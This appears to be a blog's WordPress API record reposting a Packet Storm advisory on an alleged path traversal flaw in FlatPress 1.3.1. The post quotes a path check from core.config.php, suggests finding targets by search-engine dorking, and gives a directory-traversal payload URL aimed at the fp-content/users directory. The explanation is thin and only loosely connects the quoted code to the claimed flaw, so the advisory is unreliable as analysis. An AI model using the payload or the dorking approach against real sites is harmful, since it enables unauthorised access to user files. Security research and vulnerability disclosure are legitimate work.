{"id":58932,"date":"2024-08-15T21:09:40","date_gmt":"2024-08-15T18:09:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180147\/flatpress131-traversal.txt"},"modified":"2024-08-15T21:09:40","modified_gmt":"2024-08-15T18:09:40","slug":"flatpress-1-3-1-path-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/flatpress-1-3-1-path-traversal\/","title":{"rendered":"FlatPress 1.3.1 Path Traversal"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : FlatPress 1.3.1 Path Validation Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) |<br \/>| # Vendor : https:\/\/github.com\/flatpressblog\/flatpress\/archive\/1.3.1.zip |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] infected item : \/flatpress-1.3.1\/fp-includes\/core\/core.config.php<\/p>\n<p>if ($fullpath[0] != &#8216;\/&#8217;)<br \/>trigger_error(&#8216;config_read: syntax error. Path must begin with a \/&#8217;);<\/p>\n[+] This line checks if the path starts with \/. If it doesn\u2019t, it triggers an error using trigger_error. <br \/>While this is valid, it might be better to use an InvalidArgumentException for more robust error handling.<\/p>\n[+] use payload : \/fp-includes\/core\/core.config.php\/path=..\/..\/..\/..\/..\/fp-content\/users\/<\/p>\n[+] http:\/\/127.0.0.1\/flatpress-1.3.1\/fp-includes\/core\/core.config.php\/path=..\/..\/..\/..\/..\/fp-content\/users\/<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : FlatPress 1.3.1 Path Validation Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 128.0.3 (64 bits) || # Vendor : https:\/\/github.com\/flatpressblog\/flatpress\/archive\/1.3.1.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] infected item : \/flatpress-1.3.1\/fp-includes\/core\/core.config.php if ($fullpath[0] != &#8216;\/&#8217;)trigger_error(&#8216;config_read: &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58932","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58932","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58932"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58932\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58932"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58932"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58932"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}